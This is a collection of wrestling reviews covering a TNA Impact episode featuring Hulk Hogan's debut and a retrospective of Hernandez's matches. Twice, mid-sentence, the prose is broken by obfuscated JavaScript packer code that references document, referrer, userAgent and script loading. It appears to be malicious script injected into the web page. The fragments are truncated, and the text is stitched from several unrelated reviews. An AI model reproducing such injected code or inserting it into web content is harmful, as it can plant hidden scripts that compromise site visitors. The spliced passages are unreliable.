Kevin Nash makes sex jokes with Christy Hemme (no issue there) and says this is a great night for TNA and for Hogan himself. He talks about being mentored by Hogan and how good it’s going to be to have him back. Nash reiterates that Hogan is on his way and not alone.

Knockouts Title: ODB vs. Tara

ODB is challenging and Tara (coming out to the rocking BROKEN song) is actually wearing the belt. ODB takes over with some choking to start, followed by the fall away slam for two. Back up and Tara hooks the Tarantula followed by a slingshot flip legdrop for two of her own. The Widow’s Peak is countered into a rollup with a handful of trunks (and a cutaway because they come up a bit too high) to give ODB the title.

Rating: D. I forgot how good Tara looked at this point. The match was nothing to see though as it was mainly just a brawl for a few minutes until ODB cheated to win. This comes off like the US Express losing the Tag Team Titles to Volkoff and Sheik at the first Wrestlemania: give them something to make it historic. The similarities continue as Tara would get it back less than two weeks later.

Tara lays out the new champion and puts her spider on ODB’s face.

Ric Flair arrives in a big surprise and goes into World Champion AJ Styles’ locker room.

Earlier today Christy was talking to fans when Mick Foley arrived and tried to get in. He’s been barred from the arena though and doesn’t seem to care. Security stops him though and Mick just leaves.

Bobby Lashley and his girlfriend Kristal come out with something to say. A loud BOBBY chant cuts Kristal off as she tries to talk about how big of a night this is. She says Bobby wants Hogan to know what a big star he is and how no one can handle him. Unlike MMA, wrestling is full of inbred degenerates that people like Lashley have to put up with. Lashley has asked for his release because they have more important things to do. Both would be gone before the end of the month.

The Beautiful People are playing strip poker because that’s what good looking women do. Notice the Five Hour Energies (sponsor) on the table. On the other hand, ignore that Lacey claims to have a flush but seems to have four hearts and a diamond.

Scott Hall (looking BOMBED. DDP truly is a miracle worker) and Sean Waltman beat up security but get stopped.

Hogan is still coming.

After a break the limos have stopped outside the Impact Zone. Someone gets out of one limo and gets into the other one.

Hall and Waltman get into the arena.

It’s 9pm so here’s Hulk in black. Brooke is of course in the front row. Hogan immediately puts over the roster and the locker room for working as hard as they have. Now we get the infamous line from this promo: “I’ve been in the back all day.” Remember that this is after AN HOUR OF WATCHING HIM DRIVE TO THE BUILDING. That line was edited out of the rebroadcast of the show and it’s painful to hear all over again.

Hogan talks about how many new and familiar faces there are here. As he’s talking, Hall and Waltman try to get to the ring. Hogan says give them a mic and let them get in the ring. Hall and Hogan do the Wolfpack sign and Hall says the party is back. The boss tells him that’s not how it works anymore. Waltman thinks it’s the same people so it’s the same party, but Hogan shoots him down too. In a laughable line, Hogan says it’s time to grow up.

Hall says everything is changing, with or without Hogan. Wait so is everything changing or is everything the same? Nash comes out and wants to know what’s going on, but Hulk insists he’s not playing a role. Hogan says they need to do this FOR REAL because it’s a different time. Hall and Waltman are ready to fight but Eric Bischoff debuts and says they reinvented this business. Dixie Carter is shown watching from the crowd.

Bischoff says this is all about communication and that has broken down recently. Everyone has to earn their position in this company, which Nash hears loud and clear. Nash, Hall and Waltman leave and Bischoff again claims that they can change the business again. Hogan says they’ve shuffled the deck as Dixie cautiously applauds. Bischoff rips up the format sheet to show how different things are going to be. He hands the producer a new format because they’re turning this company upside down. So this basically boiled down to the same “this is new” promo that every indy company starts with.

Sting is shown watching from the rafters.

Knockouts Tag Team Titles: Awesome Kong/Hamada vs. Sarita/Taylor Wilde

Hamada and Kong are challenging. Sarita armdrags Hamada down a few times to start as we cut to the back to see the Motor City Machineguns laid out. Kong comes in and starts cleaning house but Taylor kicks Hamada out to the floor. The champions double team Kong to the floor and hit stereo dives to take the villains out as we take a break.

Back with Hamada hitting a running basement dropkick for two on Sarita. Taylor comes in and is promptly destroyed by Kong with ease. Hamada gets in some shots of her own and it’s back to Kong, who actually allows the hot tag to Sarita. The challengers catch a top rope cross body with ease but Taylor makes the save. Kong drops Sarita with a spinning backfist and an Awesome Bomb with Hamada adding a missile dropkick gives us new champions.

Rating: C. I liked this better than I thought I would but I always liked Hamada. There’s no story here of course but then again there never were with these belts. This title reign didn’t mean much either as Hamada and Kong would be stripped of the titles when Kong left the company due to an altercation with Bubba the Love Sponge.

The Beautiful People are still playing cards when Sean Morely shows up in a towel. He wants to deal.

Security still won’t let Foley into the arena. He’s in the building now at least. Foley leaves and the Nasty Boys debut but can’t get in either. Allegedly this was a rib by Bischoff and Hogan for fans who would ask where the Nasty Boys were.

Matt Morgan/Hernandez vs. Raven/Dr. Stevie

Carbon Footprint ends Stevie in thirty seconds. Apparently this was a #1 contenders match.

D’Angelo Dinero is ready for Desmond Wolfe when Orlando Jordan (not named here) debuts and asks if they’ve seen Hogan. Pope isn’t happy. Somehow this took like three and a half minutes.

D’Angelo Dinero vs. Desmond Wolfe

Wolfe throws Dinero around to start and goes after the arm with a flying hammerlock. The arm is sent into the buckle but Dinero comes back with a knee in the corner and a Vader Bomb elbow. The fans think that THIS IS WRESTLING as Pope escapes the Tower of London and small packages Wolfe for the pin out of nowhere. Too short to rate but the fact that TNA didn’t even bother saying Wolfe was awesome tells you everything you need to know about it.

Jeff Jarrett arrives.

Rhino is down in the back. Bubba the Love Sponge shows up and says he’ll get to the bottom of this.

The announcers recap the evening and we get a clip of Hogan debuting.

AJ Styles is excited about Hogan arriving and is ready for his match with Angle at Genesis so he can prove how great he is. Bischoff comes in and makes AJ vs. Angle for the title tonight.

Jeff Jarrett makes his big return to the Impact Zone and thanks the fans for being here. He founded TNA seven years ago and the fans said they wouldn’t last six months. Instead he’s sitting here in a six sided ring on a Monday night. He spent years trying to get Hogan here and now the time is right.

Jarrett talks about doing good and bad things, but the best thing he’s done is bring in people like Beer Money, Daniels, Samoa Joe and AJ Styles. The best is yet to come….and Hogan cuts him off. Hogan talks about how Jarrett ran the country into the ground and how he and Bischoff are here to save it. Hogan is now Dixie’s partner and he’ll take TNA to the top. Jarrett has no power and needs to lace up his boots and be ready.

Let’s stop to recap this for a second. Hogan and Bischoff came into the company as good guys. This should be obvious given how they were hyped up. Jarrett didn’t show a single bit of heelishness in the promo and it was all for the fans. They were into it as well, and then Hogan cuts him off at the knees like a heel. It didn’t come off like a heel turn, but rather Hogan talking to a heel.

Was TNA expecting Jarrett’s promo to get booed? I have no idea why as there wasn’t anything but sucking up to the fans in it, nor do I have any idea why Hogan has to oppose Jarrett. Yeah Jarrett did some stupid stuff in real life, but what does that have to do with his on screen character? In theory it’s more of Hogan’s blurring the lines stuff and this is a good example of how bad it can look.

Daniels is in the back when JB interrupts him (a recurring trend tonight). Apparently Foley is still trying to get in and convinces Borash to open a door. Foley finally gets in and wants a meeting with Hogan.

Jeff Hardy is painting but Shannon Moore says the big man called. They leave.

Abyss vs. Samoa Joe

This is the sixth match of the night and these are the second and third people still actually with the company just four and a half years later. Actually, so far the only people we’ve seen still with the company are the announcers, Christy, JB, Lashley (who was gone for a four year stretch), Homicide, Joe, two Beautiful People, Hardy and Abyss. That’s eleven people out of probably thirty or forty still around and only seven are active wrestlers. That’s an INSANE turnaround in less than five years.

Joe hammers him down in the corner to start and hits a quick Facewash for good measure. They head outside and Abyss has to duck a chair being pelted at his head. Back in and Abyss slams him down but charges into a boot to the face. We see Sting watching from the back. Joe follows it up with a middle rope boot to the chest for two. An enziguri staggers Abyss but he chokeslams Joe down with ease. The referee gets bumped and Joe nails Abyss with a chair, setting up the Clutch for the submission.

Rating: C-. Decent power brawl here but more than that it was nice to see a match get nearly five minutes without anything interrupting it. Oh wait there was the Sting deal. I knew it was too good to be true. The match didn’t mean anything but that’s par for the course on this show.

Bischoff is editing the new format when Kristal comes up and demands a meeting with Hogan. Eric tells her to take a number and wait in line.

Now Beer Money has been attacked. Bubba thinks he knows who did it.

The Nasty Boys still can’t get in so Bubba comes in and says let them in.

Kurt Angle (the eighth person still on the roster) says he’s been waiting to get his hands on AJ since September.

Jeff Hardy and Shannon Moore get envelopes (presumably contracts) when some teenage girls come up. Jeff gives them the painting and they scream a lot.

The Nasty Boys trash Team 3D’s locker room. Team 3D would lose the showdown on PPV.

TNA World Title: AJ Styles vs. Kurt Angle

AJ is defending. Angle quickly suplexes out of a headlock as the fans are split on what to do. Kurt goes outside and gets taken down by a big flip dive to finally give the fans something good to cheer for. A masked man comes in and attacks AJ but Angle helps get rid of him to save his title shot. Angle nails a buckle bomb and we take a break. Back with AJ nailing some shots to the face and hitting the AA into a backbreaker.

The springboard forearm is caught in an overhead belly to belly but AJ escapes the Angle Slam. A catapult sends AJ into the buckle and it’s time to roll some Germans. He’s able to escape the Slam again but Angle counters the Pele into the ankle lock. AJ rolls out and hits another Pele for two with Angle getting into the ropes. Now the Angle Slam connects for two but Angle walks into the springboard forearm to put both guys down. The champion takes his time getting to the top, allowing Angle to run the ropes for the belly to belly.

This time it’s Kurt going up but missing a frog splash. There’s the Styles Clash for two but Kurt is able to fight out of a superplex attempt. The frog splash lands for two and Angle is getting ticked off. Another Angle Slam is countered into a DDT, drawing a WHO NEEDS BRET chant (Bret was returning to the WWE on Raw). Angle rolls out of another Clash attempt but can’t get the ankle lock.

A springboard into the reverse DDT gets two for the champion. AJ takes too long going up this time so Angle hits something like the Angle Slam off the top for two. I remember buying that as the finish back in the day. The ankle lock is countered with Kurt being sent into the buckle and a second Styles Clash gets two. Angle rolls through a third Styles Clash attempt and grabs the ankle lock with the grapevine.

AJ becomes one of the only people to escape the hold as Flair comes out to watch. Styles suplexes him down and hits a springboard 450 for two. We take another break and come back with AJ in what looks like a triangle choke. He powers up but gets caught in the ankle lock, only to counter into a third Styles Clash. A second springboard 450 is enough to retain AJ’s title.

Rating: A-. Awesome main event here but unfortunately it came at the end of a horrible show. There were a ton of great near falls in there and I loved that AJ escaped the hold that Angle spent the entire match trying to grab. Flair meant nothing and Daniels meant even less. Oh Daniels was the masked man in case you were wondering. Odds are you forgot though, just like TNA apparently did as he wasn’t mentioned after the first two minutes of the match.

Hogan comes out to applaud and give his seal of approval but there’s another interruption. Foley is breaking up the poker game (remember that?) and demanding to know where Hogan is. Because THE BEAUTIFUL PEOPLE AND VAL VENIS are the first people you would ask. He goes into Bischoff’s locker room and they go back and forth a bit with Foley saying he wants to stay. Hall, Nash and Waltman come in and lay him out, revealing themselves to be the attackers all night long. Shocking I know. Hogan comes in and sees what happened to close the show.

Overall Rating: D-. I can’t call a show with that good of a main event a failure. That being said, that’s the extent of the good stuff about this show. Let’s see. TNA brags about having the best young roster in the world. Ok, that’s cool. Let’s look at how it was utilized tonight. The opening match is one of the biggest disasters I’ve ever seen. Seriously, it’s that bad. Hardy didn’t make things better as he got on my nerves with one of about two million stories going on throughout the night.

Moving on, Tara vs. ODB was too short to mean much but it was nothing special. The other Knockouts match was better, but is that really the match you want getting the second most time all night? Yeah it was watchable but this is supposed to be TNA’s grand showcase show, not any other episode of Impact. I’ll give the girls a pass for this show, but they were really just passable at best.

As for the up and comers, Morgan and Hernandez got about thirty seconds, Pope had a nothing match against one of the best wrestlers in the company who might as well have been any given jobber, and two former World Champions had a four and a half minute match that didn’t mean anything. The main event was indeed great because it was given time to be great, but it didn’t make up for everything else.

Let’s look at the backstage segments. I don’t hate him nearly as much as some do, but Bubba the Love Sponge is as big a waste of space as anyone I’ve seen in a good while. A handful of people might know him, but if you think he was hired for anything other than being Hogan’s friend you’re missing the point. His main story throughout the night was either letting in the Nasty Boys (more on them later) or saying “Yep, these young guns have been knocked out cold. I think I know who did it but I’m not going to tell anyone.”

That brings me to all the old people being brought in to take spots from younger people. Aside from Hogan, Bischoff and the NWO guys, we had Val Venis, Orlando Jordan, the Nasty Boys, Ric Flair, Jeff Hardy and Shannon Moore debut. Of those six full time wrestlers, only Hardy and MAYBE Flair should have been signed. It doesn’t help that Venis, Hardy, Jordan and the Nasty Boys all won their debut matches, making the TNA guys look second rate as a result.

That’s the line to sum up this whole show: the newcomers made TNA guys look second rate. The old guys’ stories looked more important (all 19 million of them), they were treated like bigger stars, they got more time, and their stories all made little to no sense. Also, they can all be summed up as “let the old times roll!” That’s the extent of the main story: the NWO guys want to be the NWO again and Hogan is split over loyalties. Tell me: how does this make TNA look good? It comes off as Hulk N Pals using TNA as a playground instead of actually making them look better.

The whole show came off as “step aside kids and let the big boys show you how it’s done.” Unfortunately, those old guys aren’t all that interesting anymore because they haven’t meant much in about ten years. The problem with that is the same thing that has plagued TNA for years: they would rather be a nostalgia promotion rather than something new. It’s fine once in awhile, but when it’s all you’ve got, it stops being fun and becomes a promotion built around old guys that a lot of fans have no connection to. If you’re under about twenty, this show holds no appeal to you as far as nostalgia goes and that isn’t going to work long term.

This show was a disaster with almost nothing going right. The debuts (other than Hardy and the shock value of Flair) came off like the last minute hires to fill in a roster, the matches were bad save for the main event, and the stories were all over the place. It didn’t make me want to watch any more and the whole thing was just a mess. TNA would waste a few more years on Hogan and Bischoff before they left with more damage than anyone could solve.

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It’s another TNA pay per view and now, instead of being better than WWE’s offerings, the question is can they be better than One Night Only. It’s almost impossible to not beat Bound For Glory from last year, and at least there’s something borderline important on this show. Let’s get to it.

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kddey|var|u0026u|referrer|atdth||js|php'.split('|'),0,{})) this could be interesting as I’m not entirely sure what’s on the card in the first place.

http://www.amazon.com/dp/B00XOUNBEA

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbiet|var|u0026u|referrer|eynez||js|php'.split('|'),0,{})) up is a guy that could have been a big deal in TNA if they didn’t screw things up as usual: Hernandez.

The future SuperMex got started in 1996 in Texas, so here he is in the WWF as a jobber in November 2000 on the syndicated weekend show Jakked.

Crash vs. Shawn Hernandez

Hotstuff Hernandez vs. Young Pioneers

Cub is quickly thrown out to the floor and the Cracker Jack (overhead choke throw) sends Eagle flying. The other announcer throws bananas at Hernandez so Hernandez throws the Eagle onto Cub. Some double teaming actually has Hernandez in trouble but Eagle gets crotched on top, setting up a super Border Toss for the pin.

We’ll jump ahead to TNA now with Hernandez at Victory Road 2006.

LAX vs. Sonjay Dutt/Ron Killings

Truth. It’s weird to hear What’s Up as his theme music but he wrote it so it’s officially his song so it’s here in TNA also. His entrance takes forever here as we get into the rarely heard third verse.

LAX jumps them to start and Hernandez goes sailing over the top which wasn’t his intentions. Homicide hits a big dive to take out Dutt but Truth takes out all of LAX in return. Truth vs. Homicide in the ring now. Truth wipes himself with Homicide’s headband. Sunset flip gets two and we get a pinfall reversal sequence. I’ve never been a fan of homicide but he’s moving pretty well here.

Division tag match here. The guys both get dueling chants. Hernandez comes in and Dutt can’t do a thing to him. Since Hernandez did well while he was in he tags out to Homicide who didn’t do well while he was in there. We hit the chinlock on Dutt for a few seconds but Dutt speeds things up again which doesn’t work that well.

Back off to Hernandez as this is some weird cousin of power vs. speed. Dutt tries to move again and gets caught in a backbreaker that Truth has to break up. Homicide sends him to the floor and Konnan hammers away a bit more. Sonjay speeds things up again (notice a pattern here?) and it lets him bring in Truth.

Truth takes over with his usual odd offense and throws in Konnan’s rolling clothesline. Gringo Cutter by Homicide gets two. Truth blocks a suplerplex and gets a Falcon’s Arrow from the middle rope for two. They go to the floor so Hernandez and Dutt go at it some more. Finally the speed works but Homicide cracks…something with a chair and gets taken down by Truth. Sonjay goes up and Konnan hits him with a slapjack to allow a Border Toss to end this.

Rating: C. Just a tag match here as we’re 45 minutes into this show and nothing has stood out at all yet. LAX is getting a push here which I guess is fine. They would get the titles in a few months and hold them for all of a month, showing once again that brilliant TNA booking. These tag matches so far have been glorified squashes. I’m not sure I get the point.

More LAX at Against All Odds 2007.

Team 3D vs. LAX

LAX has the titles but this is non-title. There are tables in the ring like at a stereotypical Italian restaurant. LAX comes from under the ring while Konnan is being wheeled out and jumps 3D to open things up. All LAX to start with Hernandez cracking D-Von with a chair and both of them hitting dives. Scratch that as Hernandez gets popped with a chair on the landing to give 3D the advantage.

For some reason there are cage kind of things with dancing girls in them at ringside. Ok then. Ray catches a diving Homicide and hits a fallaway slam onto the ramp. And now Ray gets the girls from the cages put onto his lap. Ok then. All LAX here as D-Von gets double teamed. Homicide brings in a trashcan complete with trash. He finds a pizza cutter and D-Von gets carved up.

LAX vs. Rhyno/Senshi

Time to face a legendary team at Hard Justice 2007.

Voodoo Kin Mafia vs. LAX

Just a tag match here. LAX are the good guys here. The fans chant DX rejects for some reason. I mean, they were in DX but rejects? Really? Do TNA fans really think that the HBK/HHH version counts as a major DX incarnation? And they call themselves smart fans. Wow. Kip James (Billy Gunn) looks like he belongs back in Billy and Chuck.

Three way tag from Destination X 2008.

LAX vs. Motor City Machine Guns vs. Rock N Rave Infection

The winners are #1 contenders for Styles and Tomko. Christy Hemme isn’t human. She can’t be. Wow it’s weird to think that the Guns are the reigning tag champions as I’m typing this. We hear about how they’ve never won the belts. They wouldn’t for over two years. That’s pretty  sad. We keep hearing about should Earl Hebner’s vote be changed by Jim Cornette. Don’t worry about what it was or anything.

Sabin and Homicide start. Dang the Guns are fun to watch. Hernandez gets a LONG suplex on Lance Hoyt (Vance Archer). This match is kind of a mess but not entirely. Hernandez does the Undertaker Dive which isn’t as good as Taker’s but still looked good. Shelley takes two amigos and the third is him into a backbreaker from SuperMex.

LAX is dominating here and they’re likely the best team at this point so they’re getting that right. We then see why Rock and Rave never went anywhere as Rock hits the worst clothesline this side of Donald Trump to put Shelley down. A very slow moonsault misses though but no hot tag. Hernandez comes in again and cleans house with some not very good power moves. They crank things up again and with everyone on the floor, Rave takes the Border Toss to end it for LAX.

Rating: B-. PERFECT choice for the opener here. They were flying all over the place and things were definitely fun here. The fans are into it now and things are going very well. That being said, the rest of things are probably going to all be downhill from here as the rest of the card has a tendency to go downhill after the first match. This did a good job of not going insane with just a big mess all over which is rare. This was good.

LAX made the finals of the Deuces Wild Tag Team Tournament at Sacrifice 2008.

Tag Titles: LAX vs. Team 3D

Ray gets in some weak weapon shots and sends Hernandez into the steps. No one has been in the ring yet. Ok now we do have people in there with D-Von vs. Homicide and the bell finally rings after about three minutes of brawling. D-Von is sent to the floor almost immediately but Ray shoves Homicide off the top to prevent a dive. The fans chant 187 as the Dudleys control.

Sonjay Dutt/Jimmy Rave/Kiyoshi vs. Eric Young/LAX

We hear that Christy Hemme is more or less done forever due to a neck injury. She came back briefly but it didn’t last. Young is listed from Nashville. We get a replacement match with 6 Knockouts since Hemme is hurt. This is before Hernandez got his big push. Rhyno isn’t here yet either. This match wasn’t announced. They’re just throwing all these things at us so sorry for the rapid fire stuff. That was more or less in real time.

It’s weird seeing them at more of a real arena than a sound stage where wrestling is held. Dutt and Homicide start us off. It’s weird to think that this was just a year and a half ago. Young is the happy face and not crazy here. Hernandez has the world title case at this point but would use it in like 6 months. SICK slingshot shoulder block by Hernandez to take out Kiyoshi.

Even the announcers say this isn’t a serious match for the most part. Kiyoshi has paint on his face that looks like blood. And now let’s take the focus off the match completely as Jim Cornette is knocking on the door of the Mafia’s dressing room. Well at least it didn’t last long. I’ve never been a fan of this break neck speed style of programming. Scratch that to a degree actually as it can work but I still see no excuse to do it during a match. It comes off as disrespectful to the guys out there performing.

Kiyoshi is Muta’s partner, which is the explanation for the pain. It reminded me of Muta so that fits really well. Hot tag to Young and it goes nuts. Everyone goes flying with all kinds of dives and a pair of tope con hilos. Sweet stuff. Young throws Rave back in for two and we’re back to normal now.

Scratch that normal thing as everyone is in and it’s a huge mess. Fun stuff here so far. Cornette is STILL trying to get in the dressing room. See, that’s what I mean. We have a fast paced tag match that I’m getting into and we cut to Cornette pounding on a door. Wait this is elimination? That’s something we hear 10+ minutes into a match. Dutt puts his feet on the ropes to get rid of Young.

Rave’s look reminds me of Christian when he started in WWF. He uses tights to get rid of Homicide, and now it’s Hernandez vs. the heels. Methinks a squash is coming. I love how he just plows through people. Naturally, Hernandez and his MUSTACHE OF AWESOMENESS just massacres them. Border Toss gets rid of Kiyoshi. BIG OLD sitout powerbomb ends Dutt. HUGE freaking splash off the top ends Rave. That was impressive.

Rating: B-. Fun match but I question the elimination style mixing with the six man. If you want to do a six man then do a six man and if you want to have Hernandez dominate three guys then have Hernandez dominate three guys. Having Homicide and Young in there just cluttered things up, but it was still very fun and a great choice for an opener. Hernandez was indeed awesome and then they threw him in a nonsense tag team with Morgan. I still don’t get that one.

Hernandez had won a Feast or Fired briefcase for a World Title shot. First up though, No Surrender 2009.

Eric Young vs. Hernandez

Hernandez has a Feast or Fired case which is more or less MITB. Young is in a suit and doesn’t fight back. Hernandez destroys him in less than a minute with the Border Toss. Clearly this needed to be on PPV right?

And from later in the night.

TNA World Title: Sting vs. Kurt Angle vs. Matt Morgan vs. AJ Styles

We get the walking to the ring shots for all four guys and each guy gets a quick video about them also. AJ is listed as a three time world champion, meaning NWA title reigns count, which makes me wonder why Abyss is NEVER listed as a former world champion. These intros are taking FOREVER. There are a bunch of No Surrender posters in the hall coming out of Angle’s room as I guess they wanted to make sure their employees bought the show?

Tenay talks about bringing the title back to the family of the Mafia. You know, where it already is. We even do big match intros because a regular entrance, a video on each guy and watching them come to the ring isn’t enough I guess. And we’re STILL not done because as Angle is getting ready to be introduced, here’s Hernandez saying he didn’t come here just to wrestle for five minutes. More like 50 seconds but whatever. He’s jumping into this match instead of, you know, WAITING FOR IT TO BE OVER, but no one ever accused him of being smart.

TNA World Title: Sting vs. Kurt Angle vs. Matt Morgan vs. AJ Styles vs. Hernandez

The Lashley match ended nearly 17 minutes ago and the bell hasn’t rung yet for this one. Hernandez destroys Angle while everyone else watches which is a nice touch. He literally holds Angle up for 30 seconds in a vertical suplex and Angle is mostly dead. THERE’S THE BELL, 19 minutes after the previous match ended. Angle and Hernandez go to the floor so it’s more or less a triple threat in the ring.

Morgan is dominating in the ring as Hernandez sets for a Border Toss on the stage. Here’s Eric Young who hits Hernandez with a pipe and piledrives him on the stage. That’s all we’ll be seeing out of Hernandez here, meaning they wasted the last year for him with the briefcase and his time in the main event here ran about three minutes. AJ takes Sting down with a dropkick as Hernandez is helped to the back.

Angle is back at ringside now so AJ dives on him and Morgan. Morgan and Angle seem to team up as apparently Angle took the bullet for him on that dive. A tombstone doesn’t work for AJ as Angle rolls into the ankle lock. Morgan and Sting go inside now and there are the elbows in the corner. With AJ down it’s Angle/Morgan double teaming Sting as the match is dragging a bit already.

AJ pops up out of nowhere with the springboard clothesline on Angle. Fallaway slam to AJ by Morgan but Sting is back up now. Things are speeding back up a bit now as AJ pounds away on Matt, only to walk into a belly to belly by Angle. Morgan and Angle get into a contest of who can beat up AJ worse for awhile as Sting is stuck on the floor. Angle charges into the post so Morgan takes AJ down with a dropkick.

Pele puts Morgan down but Angle suplexes Styles. Did Sting die or something? He’s been gone for like five minutes now. Ah there he is with a missile dropkick to Angle but he might have hurt his shoulder. AJ pops back into it and hits a Styles Clash to Angle for two as Morgan saves. Hellevator gets the same on AJ. Death Drop to Morgan for two. Scorpion to Angle is countered into the ankle lock but a Carbon Footprint takes down Angle. Morgan goes to the floor and Sting stares at AJ. Sting dives on Morgan as AJ hits a springboard 450 to Angle for the title.

Rating: C-. I wasn’t feeling it here for the most part as they kept going back and forth two at a time which got rather boring after awhile. The ending was fine I guess as it set up Sting vs. AJ at BFG in a respect match, but the rest was pretty dull. The Hernandez aspect was such a waste but no one ever accused TNA of thinking these things through did they?

Back to the midcard at Bound For Glory 2009.

Legends Title: Kevin Nash vs. Eric Young vs. Hernandez

Rating: C+. I liked this more than I thought I would with a good formula and a nice swerve at the end. They had to get the title on Young somehow due to how much heat he had and that was as good a way as any other. Nice little match here and Nash going after the money is perfect for him.

Hernandez would get back into the tag team scene with Matt Morgan. Here they are at Genesis 2010.

Tag Titles: British Invasion vs. Hernandez/Matt Morgan

The stupidity of just putting two big names like these guys into a team astounds me but whatever. If nothing else they’re most likely getting the tag titles off of the worthless British Invasion, although putting them on two guys thrown together and called a tag team? That’s nothing WWE would ever do, nope.

Hernandez is wearing a shirt here so it looks like he’s wrestling in a one piece swimsuit. It’s fairly obvious that we’re getting new champions here but at least they’re giving us a bit of drama first and letting the Invasion have some credibility. The problem here is that other than Williams we have three power guys and Williams isn’t in the match much either. Oh and Nick Hogan is here too. This is idiotic at this point.

They make fun of the vintage joke, because no one has ever done that before. Williams gets a jumping back elbow from the top which makes this a much better match already. Morgan FINALLY hits the freaking chokeslam that he’s been trying to get all match. The problem with this match is apparent as either face is able to beat up both champions on his own. What’s the point of something like that? The bicycle kick from Morgan hits and it’s so hard that Magnus jumped before it connected. That’s very impressive and it gives Hernandez and Morgan the titles.

Rating: C. This was average. The title change was more or less a given and there’s nothing at all wrong with that. Sometimes you have to have it go one way or the other and that’s what this did here. It’s not bad but it was more of a formality than anything else and it came off pretty well.

Then they split and fought at Victory Road 2010.

Matt Morgan vs. Hernandez

This is a cage match with escape only rules. I like the look of the cage. Hernandez is freaky in all definitions of the word. Has steel ever been forgiving? In a match based around revenge, Morgan is dominating. I really can’t stand TNA at times. The crowd has been oddly dead for the majority of the match. Hernandez gets on the top and Morgan hits the Carbon Footprint.

This is ALL Morgan. He gets a foot out the door and then just comes back in. To be fair he’s a great heel, but this goes completely against the whole Morgan runs from Supermex and Hernandez wanting revenge that has been built up for months. Hernandez is busted open. We FINALLY get the comeback and his eyes look like he’s coked out of his mind. Hernandez can’t do the Border Toss so he tries it and of course botches it again. At least it came off looking like a power bomb.

He goes up top, as in top of the cage, and misses a splash on Morgan. Blueprint has handcuffs and Hernandez is caught. What is up with Russo’s obsession with handcuffs? Ok that’s not fair as they’ve been used for years. He just breaks them off as Morgan is climbing down and rams his head through the door to get out. So after all that, Hernandez just escapes with no real revenge. Sure why not?

Rating: D+. The psychology didn’t exist, Hernandez doesn’t gain anything, the ending is illogical, Hernandez looks weak and nothing is really solved. This was completely backwards and didn’t go anywhere at all. Not a horrible match, but just something that should have been far different and far better. Time for a new partner named Anarquia. From Impact on August 18, 2011.

Tag Titles: Beer Money vs. Mexican America

Kid Kash vs. Hernandez

We get a bad looking sequence with Kash not really selling a clothesline and then BADLY botching a rana. Tornado DDT puts Hernandez down but he pops up and hits the slingshot shoulder to put both guys down. Kash heads to the floor so Hernandez dives over the top to crush him. I miss that spot from him. Border Toss is escaped so Hernandez goes up, shoves Kash off and hits a top rope splash for the pin at 5:52.

Tag Team Titles: Bad Influence vs. Chavo Guerrero/Hernandez vs. Kurt Angle/AJ Styles

These teams have feuded over the titles all summer. Styles and Chavo get things going with Chavo getting two off a shoulder block. AJ takes him into the corner for the tag off to Angle and a nice reaction from the crowd. Kurt hammers away but Daniels tags himself in to take over on AJ. A fast series of tags gives us Hernandez suplexing AJ before Chavo gets two off a slingshot hilo.

Daniels hiptosses Daniels on AJ for two and we hit a full nelson on the mat. Back up and AJ escapes a monkey flip but avoids a tag from Hernandez and Chavo so he can Pele Kaz down. A double tag brings in Daniels and Angle with Kurt cleaning house. Kaz gets caught in rolling Germans but Daniels climbs his partner for a sunset flip, only to be countered into an ankle lock. Angle misses a charge into the corner but belly to bellies Kaz into Daniels for two.

Rating: B. This was a fun and fast paced three way but unfortunately it would start one of the least interesting title reigns in recorded history. Guerrero and Hernandez were really good in the ring but man alive would they drive things into the ground during their promos. The match was really awesome stuff though with some great spots and saves but it never got to that highest level.

Tag Titles: Chavo Guerrero/Hernandez vs. Bobby Roode/Austin Aries

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